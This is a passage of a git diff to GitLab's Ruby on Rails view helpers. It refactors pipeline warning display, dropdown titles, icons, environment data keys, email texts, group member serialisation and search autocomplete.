"runner_help_url" => help_page_path('ci/runners/README.html', anchor: 'set-maximum-job-timeout-for-a-runner'),
"runner_settings_url" => project_runners_path(@build.project, anchor: 'js-runners-settings'),
diff --git a/app/helpers/ci/pipelines_helper.rb b/app/helpers/ci/pipelines_helper.rb
index 749726e0e33..309aa477108 100644
--- a/app/helpers/ci/pipelines_helper.rb
+++ b/app/helpers/ci/pipelines_helper.rb
@@ -2,16 +2,35 @@
module Ci
module PipelinesHelper
+ include Gitlab::Ci::Warnings
+
def pipeline_warnings(pipeline)
return unless pipeline.warning_messages.any?
- content_tag(:div, class: 'alert alert-warning') do
- content_tag(:h4, 'Warning:') <<
- content_tag(:div) do
- pipeline.warning_messages.each do |warning|
- concat(markdown(warning.content))
- end
- end
+ total_warnings = pipeline.warning_messages.length
+ message = warning_header(total_warnings)
+
+ content_tag(:div, class: 'bs-callout bs-callout-warning') do
+ content_tag(:details) do
+ concat content_tag(:summary, message, class: 'gl-mb-2')
+ warning_markdown(pipeline) { |markdown| concat markdown }
+ end
+ end
+ end
+
+ def warning_header(count)
+ message = _("%{total_warnings} warning(s) found:") % { total_warnings: count }
+
+ return message unless count > MAX_LIMIT
+
+ _("%{message} showing first %{warnings_displayed}") % { message: message, warnings_displayed: MAX_LIMIT }
+ end
+
+ private
+
+ def warning_markdown(pipeline)
+ pipeline.warning_messages(limit: MAX_LIMIT).each do |warning|
+ yield markdown(warning.content)
end
end
end
diff --git a/app/helpers/clusters_helper.rb b/app/helpers/clusters_helper.rb
index b97e847c397..caad215e996 100644
--- a/app/helpers/clusters_helper.rb
+++ b/app/helpers/clusters_helper.rb
@@ -36,6 +36,12 @@ module ClustersHelper
}
end
+ def js_cluster_new
+ {
+ cluster_connect_help_path: help_page_path('user/project/clusters/add_remove_clusters', anchor: 'add-existing-cluster')
+ }
+ end
+
# This method is depreciated and will be removed when associated HAML files are moved to JavaScript
def provider_icon(provider = nil)
img_data = js_clusters_list_data.dig(:img_tags, provider&.to_sym) ||
diff --git a/app/helpers/container_registry_helper.rb b/app/helpers/container_registry_helper.rb
new file mode 100644
index 00000000000..9a5d84a90dd
--- /dev/null
+++ b/app/helpers/container_registry_helper.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+module ContainerRegistryHelper
+ def limit_delete_tags_service?
+ Feature.enabled?(:container_registry_expiration_policies_throttling) &&
+ ContainerRegistry::Client.supports_tag_delete?
+ end
+end
diff --git a/app/helpers/dashboard_helper.rb b/app/helpers/dashboard_helper.rb
index 0ba03cd90ea..195b3162039 100644
--- a/app/helpers/dashboard_helper.rb
+++ b/app/helpers/dashboard_helper.rb
@@ -58,10 +58,6 @@ module DashboardHelper
links += [:activity, :milestones]
end
- if can?(current_user, :read_instance_statistics)
- links << :analytics
- end
-
links
end
end
diff --git a/app/helpers/deploy_tokens_helper.rb b/app/helpers/deploy_tokens_helper.rb
index 80a5bb44c69..d6fbe0b6b45 100644
--- a/app/helpers/deploy_tokens_helper.rb
+++ b/app/helpers/deploy_tokens_helper.rb
@@ -7,8 +7,13 @@ module DeployTokensHelper
Rails.env.test?
end
- def container_registry_enabled?(project)
+ def container_registry_enabled?(group_or_project)
Gitlab.config.registry.enabled &&
- can?(current_user, :read_container_image, project)
+ can?(current_user, :read_container_image, group_or_project)
+ end
+
+ def packages_registry_enabled?(group_or_project)
+ Gitlab.config.packages.enabled &&
+ can?(current_user, :read_package, group_or_project)
end
end
diff --git a/app/helpers/dev_ops_report_helper.rb b/app/helpers/dev_ops_report_helper.rb
new file mode 100644
index 00000000000..ab7e56fc1a2
--- /dev/null
+++ b/app/helpers/dev_ops_report_helper.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module DevOpsReportHelper
+ def score_level(score)
+ if score < 33.33
+ 'low'
+ elsif score < 66.66
+ 'average'
+ else
+ 'high'
+ end
+ end
+
+ def format_score(score)
+ precision = score < 1 ? 2 : 1
+ number_with_precision(score, precision: precision)
+ end
+end
diff --git a/app/helpers/dev_ops_score_helper.rb b/app/helpers/dev_ops_score_helper.rb
deleted file mode 100644
index 9a673998149..00000000000
--- a/app/helpers/dev_ops_score_helper.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-module DevOpsScoreHelper
- def score_level(score)
- if score < 33.33
- 'low'
- elsif score < 66.66
- 'average'
- else
- 'high'
- end
- end
-
- def format_score(score)
- precision = score < 1 ? 2 : 1
- number_with_precision(score, precision: precision)
- end
-end
diff --git a/app/helpers/diff_helper.rb b/app/helpers/diff_helper.rb
index 3b25de521d0..7c254e069f6 100644
--- a/app/helpers/diff_helper.rb
+++ b/app/helpers/diff_helper.rb
@@ -100,20 +100,43 @@ module DiffHelper
end
def submodule_link(blob, ref, repository = @repository)
- project_url, tree_url = submodule_links(blob, ref, repository)
- commit_id = if tree_url.nil?
- Commit.truncate_sha(blob.id)
- else
- link_to Commit.truncate_sha(blob.id), tree_url
- end
+ urls = submodule_links(blob, ref, repository)
+
+ folder_name = truncate(blob.name, length: 40)
+ folder_name = link_to(folder_name, urls.web) if urls&.web
+
+ commit_id = Commit.truncate_sha(blob.id)
+ commit_id = link_to(commit_id, urls.tree) if urls&.tree
[
- content_tag(:span, link_to(truncate(blob.name, length: 40), project_url)),
+ content_tag(:span, folder_name),
'@',
content_tag(:span, commit_id, class: 'commit-sha')
].join(' ').html_safe
end
+ def submodule_diff_compare_link(diff_file)
+ compare_url = submodule_links(diff_file.blob, diff_file.content_sha, diff_file.repository, diff_file)&.compare
+
+ link = ""
+
+ if compare_url
+
+ link_text = [
+ _('Compare'),
+ ' ',
+ content_tag(:span, Commit.truncate_sha(diff_file.old_blob.id), class: 'commit-sha'),
+ '...',
+ content_tag(:span, Commit.truncate_sha(diff_file.blob.id), class: 'commit-sha')
+ ].join('').html_safe
+
+ tooltip = _('Compare submodule commit revisions')
+ link = content_tag(:span, link_to(link_text, compare_url, class: 'btn has-tooltip', title: tooltip), class: 'submodule-compare')
+ end
+
+ link
+ end
+
def diff_file_blob_raw_url(diff_file, only_path: false)
project_raw_url(@project, tree_join(diff_file.content_sha, diff_file.file_path), only_path: only_path)
end
diff --git a/app/helpers/dropdowns_helper.rb b/app/helpers/dropdowns_helper.rb
index 772a5f79a4d..84aa08281f6 100644
--- a/app/helpers/dropdowns_helper.rb
+++ b/app/helpers/dropdowns_helper.rb
@@ -62,20 +62,37 @@ module DropdownsHelper
end
def dropdown_title(title, options: {})
- content_tag :div, class: "dropdown-title" do
+ has_back = options.fetch(:back, false)
+ has_close = options.fetch(:close, true)
+
+ container_class = %w[dropdown-title gl-display-flex]
+ margin_class = []
+
+ if has_back && has_close
+ container_class << 'gl-justify-content-space-between'
+ elsif has_back
+ margin_class << 'gl-mr-auto'
+ elsif has_close
+ margin_class << 'gl-ml-auto'
+ end
+
+ container_class = container_class.join(' ')
+ margin_class = margin_class.join(' ')
+
+ content_tag :div, class: container_class do
title_output = []
- if options.fetch(:back, false)
- title_output << content_tag(:button, class: "dropdown-title-button dropdown-menu-back", aria: { label: "Go back" }, type: "button") do
- icon('arrow-left')
+ if has_back
+ title_output << content_tag(:button, class: "dropdown-title-button dropdown-menu-back " + margin_class, aria: { label: "Go back" }, type: "button") do
+ sprite_icon('arrow-left')
end
end
- title_output << content_tag(:span, title)
+ title_output << content_tag(:span, title, class: margin_class)
- if options.fetch(:close, true)
- title_output << content_tag(:button, class: "dropdown-title-button dropdown-menu-close", aria: { label: "Close" }, type: "button") do
- icon('times', class: 'dropdown-menu-close-icon')
+ if has_close
+ title_output << content_tag(:button, class: "dropdown-title-button dropdown-menu-close " + margin_class, aria: { label: "Close" }, type: "button") do
+ sprite_icon('close', size: 16, css_class: 'dropdown-menu-close-icon')
end
end
@@ -83,20 +100,11 @@ module DropdownsHelper
end
end
- def dropdown_input(placeholder, input_id: nil)
- content_tag :div, class: "dropdown-input" do
- filter_output = text_field_tag input_id, nil, class: "dropdown-input-field dropdown-no-filter", placeholder: placeholder, autocomplete: 'off'
- filter_output << icon('times', class: "dropdown-input-clear js-dropdown-input-clear", role: "button")
-
- filter_output.html_safe
- end
- end
-
def dropdown_filter(placeholder, search_id: nil)
content_tag :div, class: "dropdown-input" do
filter_output = search_field_tag search_id, nil, class: "dropdown-input-field qa-dropdown-input-field", placeholder: placeholder, autocomplete: 'off'
filter_output << icon('search', class: "dropdown-input-search")
- filter_output << icon('times', class: "dropdown-input-clear js-dropdown-input-clear", role: "button")
+ filter_output << sprite_icon('close', size: 16, css_class: 'dropdown-input-clear js-dropdown-input-clear')
filter_output.html_safe
end
diff --git a/app/helpers/emails_helper.rb b/app/helpers/emails_helper.rb
index ba2330dfc9a..d5c22927991 100644
--- a/app/helpers/emails_helper.rb
+++ b/app/helpers/emails_helper.rb
@@ -177,8 +177,53 @@ module EmailsHelper
strip_tags(render_message(:footer_message, style: ''))
end
+ def say_hi(user)
+ _('Hi %{username}!') % { username: sanitize_name(user.name) }
+ end
+
+ def say_hello(user)
+ _('Hello, %{username}!') % { username: sanitize_name(user.name) }
+ end
+
+ def two_factor_authentication_disabled_text
+ _('Two-factor authentication has been disabled for your GitLab account.')
+ end
+
+ def re_enable_two_factor_authentication_text(format: nil)
+ url = profile_two_factor_auth_url
+
+ case format
+ when :html
+ settings_link_to = generate_link(_('two-factor authentication settings'), url).html_safe
+ _("If you want to re-enable two-factor authentication, visit the %{settings_link_to} page.").html_safe % { settings_link_to: settings_link_to }
+ else
+ _('If you want to re-enable two-factor authentication, visit %{two_factor_link}') %
+ { two_factor_link: url }
+ end
+ end
+
+ def admin_changed_password_text(format: nil)
+ url = Gitlab.config.gitlab.url
+
+ case format
+ when :html
+ link_to = generate_link(url, url).html_safe
+ _('An administrator changed the password for your GitLab account on %{link_to}.').html_safe % { link_to: link_to }
+ else
+ _('An administrator changed the password for your GitLab account on %{link_to}.') % { link_to: url }
+ end
+ end
+
+ def contact_your_administrator_text
+ _('Please contact your administrator with any questions.')
+ end
+
private
+ def generate_link(text, url)
+ link_to(text, url, target: :_blank, rel: 'noopener noreferrer')
+ end
+
def show_footer?
email_header_and_footer_enabled? && current_appearance&.show_footer?
end
diff --git a/app/helpers/environments_helper.rb b/app/helpers/environments_helper.rb
index 39be8ae9f60..7f0c59f65a0 100644
--- a/app/helpers/environments_helper.rb
+++ b/app/helpers/environments_helper.rb
@@ -12,8 +12,8 @@ module EnvironmentsHelper
def environments_folder_list_view_data
{
"endpoint" => folder_project_environments_path(@project, @folder, format: :json),
- "folder-name" => @folder,
- "can-read-environment" => can?(current_user, :read_environment, @project).to_s
+ "folder_name" => @folder,
+ "can_read_environment" => can?(current_user, :read_environment, @project).to_s
}
end
@@ -33,11 +33,11 @@ module EnvironmentsHelper
def environment_logs_data(project, environment)
{
- "environment-name": environment.name,
- "environments-path": project_environments_path(project, format: :json),
- "environment-id": environment.id,
- "cluster-applications-documentation-path" => help_page_path('user/clusters/applications.md', anchor: 'elastic-stack'),
- "clusters-path": project_clusters_path(project, format: :json)
+ "environment_name": environment.name,
+ "environments_path": project_environments_path(project, format: :json),
+ "environment_id": environment.id,
+ "cluster_applications_documentation_path" => help_page_path('user/clusters/applications.md', anchor: 'elastic-stack'),
+ "clusters_path": project_clusters_path(project, format: :json)
}
end
@@ -51,18 +51,18 @@ module EnvironmentsHelper
return {} unless project
{
- 'settings-path' => edit_project_service_path(project, 'prometheus'),
- 'clusters-path' => project_clusters_path(project),
- 'dashboards-endpoint' => project_performance_monitoring_dashboards_path(project, format: :json),
- 'default-branch' => project.default_branch,
- 'project-path' => project_path(project),
- 'tags-path' => project_tags_path(project),
- 'external-dashboard-url' => project.metrics_setting_external_dashboard_url,
- 'custom-metrics-path' => project_prometheus_metrics_path(project),
- 'validate-query-path' => validate_query_project_prometheus_metrics_path(project),
- 'custom-metrics-available' => "#{custom_metrics_available?(project)}",
- 'prometheus-alerts-available' => "#{can?(current_user, :read_prometheus_alerts, project)}",
- 'dashboard-timezone' => project.metrics_setting_dashboard_timezone.to_s.upcase
+ 'settings_path' => edit_project_service_path(project, 'prometheus'),
+ 'clusters_path' => project_clusters_path(project),
+ 'dashboards_endpoint' => project_performance_monitoring_dashboards_path(project, format: :json),
+ 'default_branch' => project.default_branch,
+ 'project_path' => project_path(project),
+ 'tags_path' => project_tags_path(project),
+ 'external_dashboard_url' => project.metrics_setting_external_dashboard_url,
+ 'custom_metrics_path' => project_prometheus_metrics_path(project),
+ 'validate_query_path' => validate_query_project_prometheus_metrics_path(project),
+ 'custom_metrics_available' => "#{custom_metrics_available?(project)}",
+ 'prometheus_alerts_available' => "#{can?(current_user, :read_prometheus_alerts, project)}",
+ 'dashboard_timezone' => project.metrics_setting_dashboard_timezone.to_s.upcase
}
end
@@ -70,11 +70,11 @@ module EnvironmentsHelper
return {} unless environment
{
- 'metrics-dashboard-base-path' => metrics_dashboard_base_path(environment, project),
- 'current-environment-name' => environment.name,
- 'has-metrics' => "#{environment.has_metrics?}",
- 'prometheus-status' => "#{environment.prometheus_status}",
- 'environment-state' => "#{environment.state}"
+ 'metrics_dashboard_base_path' => metrics_dashboard_base_path(environment, project),
+ 'current_environment_name' => environment.name,
+ 'has_metrics' => "#{environment.has_metrics?}",
+ 'prometheus_status' => "#{environment.prometheus_status}",
+ 'environment_state' => "#{environment.state}"
}
end
@@ -93,26 +93,26 @@ module EnvironmentsHelper
return {} unless project && environment
{
- 'metrics-endpoint' => additional_metrics_project_environment_path(project, environment, format: :json),
- 'dashboard-endpoint' => metrics_dashboard_project_environment_path(project, environment, format: :json),
- 'deployments-endpoint' => project_environment_deployments_path(project, environment, format: :json),
- 'alerts-endpoint' => project_prometheus_alerts_path(project, environment_id: environment.id, format: :json),
- 'operations-settings-path' => project_settings_operations_path(project),
- 'can-access-operations-settings' => can?(current_user, :admin_operations, project).to_s,
- 'panel-preview-endpoint' => project_metrics_dashboards_builder_path(project, format: :json)
+ 'metrics_endpoint' => additional_metrics_project_environment_path(project, environment, format: :json),
+ 'dashboard_endpoint' => metrics_dashboard_project_environment_path(project, environment, format: :json),
+ 'deployments_endpoint' => project_environment_deployments_path(project, environment, format: :json),
+ 'alerts_endpoint' => project_prometheus_alerts_path(project, environment_id: environment.id, format: :json),
+ 'operations_settings_path' => project_settings_operations_path(project),
+ 'can_access_operations_settings' => can?(current_user, :admin_operations, project).to_s,
+ 'panel_preview_endpoint' => project_metrics_dashboards_builder_path(project, format: :json)
}
end
def static_metrics_data
{
- 'documentation-path' => help_page_path('administration/monitoring/prometheus/index.md'),
- 'add-dashboard-documentation-path' => help_page_path('operations/metrics/dashboards/index.md', anchor: 'add-a-new-dashboard-to-your-project'),
- 'empty-getting-started-svg-path' => image_path('illustrations/monitoring/getting_started.svg'),
- 'empty-loading-svg-path' => image_path('illustrations/monitoring/loading.svg'),
- 'empty-no-data-svg-path' => image_path('illustrations/monitoring/no_data.svg'),
- 'empty-no-data-small-svg-path' => image_path('illustrations/chart-empty-state-small.svg'),
- 'empty-unable-to-connect-svg-path' => image_path('illustrations/monitoring/unable_to_connect.svg'),
- 'custom-dashboard-base-path' => Gitlab::Metrics::Dashboard::RepoDashboardFinder::DASHBOARD_ROOT
+ 'documentation_path' => help_page_path('administration/monitoring/prometheus/index.md'),
+ 'add_dashboard_documentation_path' => help_page_path('operations/metrics/dashboards/index.md', anchor: 'add-a-new-dashboard-to-your-project'),
+ 'empty_getting_started_svg_path' => image_path('illustrations/monitoring/getting_started.svg'),
+ 'empty_loading_svg_path' => image_path('illustrations/monitoring/loading.svg'),
+ 'empty_no_data_svg_path' => image_path('illustrations/monitoring/no_data.svg'),
+ 'empty_no_data_small_svg_path' => image_path('illustrations/chart-empty-state-small.svg'),
+ 'empty_unable_to_connect_svg_path' => image_path('illustrations/monitoring/unable_to_connect.svg'),
+ 'custom_dashboard_base_path' => Gitlab::Metrics::Dashboard::RepoDashboardFinder::DASHBOARD_ROOT
}
end
end
diff --git a/app/helpers/form_helper.rb b/app/helpers/form_helper.rb
index 67bfeb22d92..3dde5afcb92 100644
--- a/app/helpers/form_helper.rb
+++ b/app/helpers/form_helper.rb
@@ -55,6 +55,29 @@ module FormHelper
dropdown_data
end
+ def reviewers_dropdown_options(issuable_type)
+ {
+ toggle_class: 'js-reviewer-search js-multiselect js-save-user-data',
+ title: 'Request review from',
+ filter: true,
+ dropdown_class: 'dropdown-menu-user dropdown-menu-selectable dropdown-menu-reviewer',
+ placeholder: _('Search users'),
+ data: {
+ first_user: current_user&.username,
+ null_user: true,
+ current_user: true,
+ project_id: (@target_project || @project)&.id,
+ field_name: "#{issuable_type}[reviewer_ids][]",
+ default_label: 'Unassigned',
+ 'dropdown-header': 'Reviewer(s)',
+ multi_select: true,
+ 'input-meta': 'name',
+ 'always-show-selectbox': true,
+ current_user_info: UserSerializer.new.represent(current_user)
+ }
+ }
+ end
+
# Overwritten
def issue_supports_multiple_assignees?
false
diff --git a/app/helpers/groups/group_members_helper.rb b/app/helpers/groups/group_members_helper.rb
index 1952325c504..dcff2be34da 100644
--- a/app/helpers/groups/group_members_helper.rb
+++ b/app/helpers/groups/group_members_helper.rb
@@ -1,6 +1,10 @@
# frozen_string_literal: true
module Groups::GroupMembersHelper
+ include AvatarsHelper
+
+ AVATAR_SIZE = 40
+
def group_member_select_options
{ multiple: true, class: 'input-clamp qa-member-select-field ', scope: :all, email_user: true }
end
@@ -8,6 +12,81 @@ module Groups::GroupMembersHelper
def render_invite_member_for_group(group, default_access_level)
render 'shared/members/invite_member', submit_url: group_group_members_path(group), access_levels: GroupMember.access_level_roles, default_access_level: default_access_level
end
+
+ def linked_groups_data_json(group_links)
+ GroupGroupLinkSerializer.new.represent(group_links).to_json
+ end
+
+ def members_data_json(group, members)
+ members_data(group, members).to_json
+ end
+
+ private
+
+ def members_data(group, members)
+ members.map do |member|
+ user = member.user
+ source = member.source
+
+ data = {
+ id: member.id,
+ created_at: member.created_at,
+ expires_at: member.expires_at&.to_time,
+ requested_at: member.requested_at,
+ can_update: member.can_update?,
+ can_remove: member.can_remove?,
+ can_override: member.can_override?,
+ access_level: {
+ string_value: member.human_access,
+ integer_value: member.access_level
+ },
+ source: {
+ id: source.id,
+ name: source.full_name,
+ web_url: Gitlab::UrlBuilder.build(source)
+ }
+ }.merge(member_created_by_data(member.created_by))
+
+ if user.present?
+ data[:user] = member_user_data(user)
+ else
+ data[:invite] = member_invite_data(member)
+ end
+
+ data
+ end
+ end
+
+ def member_created_by_data(created_by)
+ return {} unless created_by.present?
+
+ {
+ created_by: {
+ name: created_by.name,
+ web_url: Gitlab::UrlBuilder.build(created_by)
+ }
+ }
+ end
+
+ def member_user_data(user)
+ {
+ id: user.id,
+ name: user.name,
+ username: user.username,
+ web_url: Gitlab::UrlBuilder.build(user),
+ avatar_url: avatar_icon_for_user(user, AVATAR_SIZE),
+ blocked: user.blocked?,
+ two_factor_enabled: user.two_factor_enabled?
+ }
+ end
+
+ def member_invite_data(member)
+ {
+ email: member.invite_email,
+ avatar_url: avatar_icon_for_email(member.invite_email, AVATAR_SIZE),
+ can_resend: member.can_resend_invite?
+ }
+ end
end
Groups::GroupMembersHelper.prepend_if_ee('EE::Groups::GroupMembersHelper')
diff --git a/app/helpers/groups_helper.rb b/app/helpers/groups_helper.rb
index eb80acd869f..06a52457fd6 100644
--- a/app/helpers/groups_helper.rb
+++ b/app/helpers/groups_helper.rb
@@ -167,8 +167,23 @@ module GroupsHelper
@group.packages_feature_enabled?
end
+ def show_invite_banner?(group)
+ Feature.enabled?(:invite_your_teammates_banner_a, group) &&
+ can?(current_user, :admin_group, group) &&
+ !just_created? &&
+ !multiple_members?(group)
+ end
+
private
+ def just_created?
+ flash[:notice] =~ /successfully created/
+ end
+
+ def multiple_members?(group)
+ group.member_count > 1
+ end
+
def get_group_sidebar_links
links = [:overview, :group_members]
diff --git a/app/helpers/icons_helper.rb b/app/helpers/icons_helper.rb
index 9957d5c6330..0352b0ddf28 100644
--- a/app/helpers/icons_helper.rb
+++ b/app/helpers/icons_helper.rb
@@ -100,7 +100,7 @@ module IconsHelper
def boolean_to_icon(value)
if value
- icon('circle', class: 'cgreen')
+ sprite_icon('check', css_class: 'cgreen')
else
sprite_icon('power', css_class: 'clgray')
end
diff --git a/app/helpers/issuables_helper.rb b/app/helpers/issuables_helper.rb
index 0b859a39c4f..b255597b18d 100644
--- a/app/helpers/issuables_helper.rb
+++ b/app/helpers/issuables_helper.rb
@@ -205,6 +205,12 @@ module IssuablesHelper
author_output
end
+ if access = project.team.human_max_access(issuable.author_id)
+ output << content_tag(:span, access, class: "user-access-role has-tooltip d-none d-xl-inline-block gl-ml-3 ", title: _("This user is a %{access} of the %{name} project.") % { access: access.downcase, name: project.name })
+ elsif project.team.contributor?(issuable.author_id)
+ output << content_tag(:span, _("Contributor"), class: "user-access-role has-tooltip d-none d-xl-inline-block gl-ml-3", title: _("This user has previously committed to the %{name} project.") % { name: project.name })
+ end
+
output << content_tag(:span, (sprite_icon('first-contribution', css_class: 'gl-icon gl-vertical-align-middle') if issuable.first_contribution?), class: 'has-tooltip gl-ml-2', title: _('1st contribution!'))
output << content_tag(:span, (issuable.task_status if issuable.tasks?), id: "task_status", class: "d-none d-sm-none d-md-inline-block gl-ml-3")
@@ -292,8 +298,10 @@ module IssuablesHelper
{
hasClosingMergeRequest: issuable.merge_requests_count(current_user) != 0,
+ issueType: issuable.issue_type,
zoomMeetingUrl: ZoomMeeting.canonical_meeting_url(issuable),
- sentryIssueIdentifier: SentryIssue.find_by(issue: issuable)&.sentry_issue_identifier # rubocop:disable CodeReuse/ActiveRecord
+ sentryIssueIdentifier: SentryIssue.find_by(issue: issuable)&.sentry_issue_identifier, # rubocop:disable CodeReuse/ActiveRecord
+ iid: issuable.iid.to_s
}
end
@@ -301,8 +309,8 @@ module IssuablesHelper
return { groupPath: parent.path } if parent.is_a?(Group)
{
- projectPath: ref_project.path,
- projectNamespace: ref_project.namespace.full_path
+ projectPath: ref_project.path,
+ projectNamespace: ref_project.namespace.full_path
}
end
@@ -464,6 +472,7 @@ module IssuablesHelper
rootPath: root_path,
fullPath: issuable[:project_full_path],
iid: issuable[:iid],
+ severity: issuable[:severity],
timeTrackingLimitToHours: Gitlab::CurrentSettings.time_tracking_limit_to_hours
}
end
diff --git a/app/helpers/issues_helper.rb b/app/helpers/issues_helper.rb
index 55170cbfa6b..e8ea39d7ffc 100644
--- a/app/helpers/issues_helper.rb
+++ b/app/helpers/issues_helper.rb
@@ -4,7 +4,7 @@ module IssuesHelper
def issue_css_classes(issue)
classes = ["issue"]
classes << "closed" if issue.closed?
- classes << "today" if issue.today?
+ classes << "today" if issue.new?
classes << "user-can-drag" if @sort == 'relative_position'
classes.join(' ')
end
diff --git a/app/helpers/lazy_image_tag_helper.rb b/app/helpers/lazy_image_tag_helper.rb
index ac987a04895..0c5744b46ae 100644
--- a/app/helpers/lazy_image_tag_helper.rb
+++ b/app/helpers/lazy_image_tag_helper.rb
@@ -25,5 +25,5 @@ module LazyImageTagHelper
end
# Required for Banzai::Filter::ImageLazyLoadFilter
- module_function :placeholder_image
+ module_function :placeholder_image # rubocop: disable Style/AccessModifierDeclarations
end
diff --git a/app/helpers/nav_helper.rb b/app/helpers/nav_helper.rb
index d849ed9d076..578c7ae7923 100644
--- a/app/helpers/nav_helper.rb
+++ b/app/helpers/nav_helper.rb
@@ -47,7 +47,7 @@ module NavHelper
end
def has_extra_nav_icons?
- Gitlab::Sherlock.enabled? || can?(current_user, :read_instance_statistics) || current_user.admin?
+ Gitlab::Sherlock.enabled? || current_user.admin?
end
def page_has_markdown?
@@ -62,6 +62,10 @@ module NavHelper
%w(system_info background_jobs health_check requests_profiles)
end
+ def admin_analytics_nav_links
+ %w(dev_ops_report cohorts)
+ end
+
def group_issues_sub_menu_items
%w(groups#issues labels#index milestones#index boards#index boards#show)
end
diff --git a/app/helpers/notes_helper.rb b/app/helpers/notes_helper.rb
index 2ba1d841c2e..c02adfcf4c6 100644
--- a/app/helpers/notes_helper.rb
+++ b/app/helpers/notes_helper.rb
@@ -85,6 +85,10 @@ module NotesHelper
note.project.team.max_member_access(note.author_id)
end
+ def note_human_max_access(note)
+ note.project.team.human_max_access(note.author_id)
+ end
+
def discussion_path(discussion)
if discussion.for_merge_request?
return unless discussion.diff_discussion?
@@ -181,7 +185,7 @@ module NotesHelper
reopenPath: reopen_issuable_path(issuable),
notesPath: notes_url,
prerenderedNotesCount: issuable.capped_notes_count(MAX_PRERENDERED_NOTES),
- lastFetchedAt: Time.now.to_i
+ lastFetchedAt: Time.now.to_i * ::Gitlab::UpdatedNotesPaginator::MICROSECOND
}
if issuable.is_a?(MergeRequest)
diff --git a/app/helpers/notifications_helper.rb b/app/helpers/notifications_helper.rb
index 9a64fe98f86..784b242e2b5 100644
--- a/app/helpers/notifications_helper.rb
+++ b/app/helpers/notifications_helper.rb
@@ -6,15 +6,15 @@ module NotificationsHelper
def notification_icon_class(level)
case level.to_sym
when :disabled, :owner_disabled
- 'microphone-slash'
+ 'notifications-off'
when :participating
- 'volume-up'
+ 'notifications'
when :watch
'eye'
when :mention
'at'
when :global
- 'globe'
+ 'earth'
end
end
@@ -28,8 +28,8 @@ module NotificationsHelper
end
end
- def notification_icon(level, text = nil)
- icon("#{notification_icon_class(level)} fw", text: text)
+ def notification_icon(level)
+ sprite_icon("#{notification_icon_class(level)}")
end
def notification_title(level)
diff --git a/app/helpers/operations_helper.rb b/app/helpers/operations_helper.rb
index 37e91153710..521f394a920 100644
--- a/app/helpers/operations_helper.rb
+++ b/app/helpers/operations_helper.rb
@@ -43,6 +43,7 @@ module OperationsHelper
create_issue: setting.create_issue.to_s,
issue_template_key: setting.issue_template_key.to_s,
send_email: setting.send_email.to_s,
+ auto_close_incident: setting.auto_close_incident.to_s,
pagerduty_active: setting.pagerduty_active.to_s,
pagerduty_token: setting.pagerduty_token.to_s,
pagerduty_webhook_url: project_incidents_integrations_pagerduty_url(@project, token: setting.pagerduty_token),
diff --git a/app/helpers/preferences_helper.rb b/app/helpers/preferences_helper.rb
index 5a917a02d51..2c406641882 100644
--- a/app/helpers/preferences_helper.rb
+++ b/app/helpers/preferences_helper.rb
@@ -61,6 +61,10 @@ module PreferencesHelper
@user_application_theme ||= Gitlab::Themes.for_user(current_user).css_class
end
+ def user_application_theme_name
+ @user_application_theme_name ||= Gitlab::Themes.for_user(current_user).name.downcase.tr(' ', '_')
+ end
+
def user_color_scheme
Gitlab::ColorSchemes.for_user(current_user).css_class
end
@@ -76,6 +80,13 @@ module PreferencesHelper
)
end
+ def integration_views
+ [].tap do |views|
+ views << 'gitpod' if Gitlab::Gitpod.feature_and_settings_enabled?
+ views << 'sourcegraph' if Gitlab::Sourcegraph.feature_available? && Gitlab::CurrentSettings.sourcegraph_enabled
+ end
+ end
+
private
# Ensure that anyone adding new options updates `DASHBOARD_CHOICES` too
diff --git a/app/helpers/projects_helper.rb b/app/helpers/projects_helper.rb
index 1ce4903f8df..72cc07b13a5 100644
--- a/app/helpers/projects_helper.rb
+++ b/app/helpers/projects_helper.rb
@@ -7,7 +7,7 @@ module ProjectsHelper
end
def link_to_project(project)
- link_to namespace_project_path(namespace_id: project.namespace, id: project), title: h(project.name) do
+ link_to namespace_project_path(namespace_id: project.namespace, id: project), title: h(project.name), class: 'gl-link' do
title = content_tag(:span, project.name, class: 'project-name')
if project.namespace
@@ -109,7 +109,7 @@ module ProjectsHelper
end
def transfer_project_message(project)
- _("You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?") %
+ _("You are going to transfer %{project_full_name} to another namespace. Are you ABSOLUTELY sure?") %
{ project_full_name: project.full_name }
end
@@ -640,7 +640,7 @@ module ProjectsHelper
pagesAvailable: Gitlab.config.pages.enabled,
pagesAccessControlEnabled: Gitlab.config.pages.access_control,
pagesAccessControlForced: ::Gitlab::Pages.access_control_is_forced?,
- pagesHelpPath: help_page_path('user/project/pages/introduction', anchor: 'gitlab-pages-access-control-core')
+ pagesHelpPath: help_page_path('user/project/pages/introduction', anchor: 'gitlab-pages-access-control')
}
end
diff --git a/app/helpers/releases_helper.rb b/app/helpers/releases_helper.rb
index f1dff18523f..979a68ecb7b 100644
--- a/app/helpers/releases_helper.rb
+++ b/app/helpers/releases_helper.rb
@@ -15,6 +15,7 @@ module ReleasesHelper
def data_for_releases_page
{
project_id: @project.id,
+ project_path: @project.full_path,
illustration_path: illustration,
documentation_path: help_page
}.tap do |data|
diff --git a/app/helpers/search_helper.rb b/app/helpers/search_helper.rb
index 377aee1ae9e..d55ad878b92 100644
--- a/app/helpers/search_helper.rb
+++ b/app/helpers/search_helper.rb
@@ -1,12 +1,14 @@
# frozen_string_literal: true
module SearchHelper
- SEARCH_PERMITTED_PARAMS = [:search, :scope, :project_id, :group_id, :repository_ref, :snippets].freeze
+ SEARCH_PERMITTED_PARAMS = [:search, :scope, :project_id, :group_id, :repository_ref, :snippets, :state].freeze
def search_autocomplete_opts(term)
return unless current_user
resources_results = [
+ recent_merge_requests_autocomplete(term),
+ recent_issues_autocomplete(term),
groups_autocomplete(term),
projects_autocomplete(term)
].flatten
@@ -178,6 +180,34 @@ module SearchHelper
}
end
end
+
+ def recent_merge_requests_autocomplete(term, limit = 5)
+ return [] unless current_user
+
+ ::Gitlab::Search::RecentMergeRequests.new(user: current_user).search(term).limit(limit).map do |mr|
+ {
+ category: "Recent merge requests",
+ id: mr.id,
+ label: search_result_sanitize(mr.title),
+ url: merge_request_path(mr),
+ avatar_url: mr.project.avatar_url || ''
+ }
+ end
+ end
+
+ def recent_issues_autocomplete(term, limit = 5)
+ return [] unless current_user
+
+ ::Gitlab::Search::RecentIssues.new(user: current_user).search(term).limit(limit).map do |i|
+ {
